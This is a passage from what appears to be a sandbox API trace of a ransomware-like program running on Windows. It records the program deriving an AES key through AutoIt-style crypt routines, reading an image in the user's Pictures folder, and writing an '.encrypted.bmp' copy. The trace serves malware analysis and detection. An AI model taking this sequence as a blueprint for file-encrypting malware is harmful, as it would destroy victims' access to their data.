"c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\a3r9p4wd zju.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0027.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=73, lpWideCharStr=0xe8f4061a20, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp") returned 73 [0027.995] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.995] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.996] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.996] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.996] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.996] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.996] CloseHandle (hObject=0x1fc) returned 1 [0027.996] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.997] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.997] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.997] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.997] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.997] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.998] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.999] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.999] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.999] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.999] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.000] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.000] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.000] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.000] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.000] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.002] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\a3r9p4wd zju.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.002] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.002] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700")) returned 0x10 [0028.003] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\a3r9p4wd zju.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.005] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.005] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.006] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x83, lpOverlapped=0x0) returned 1 [0028.007] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.009] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.010] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.010] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.010] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.010] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, 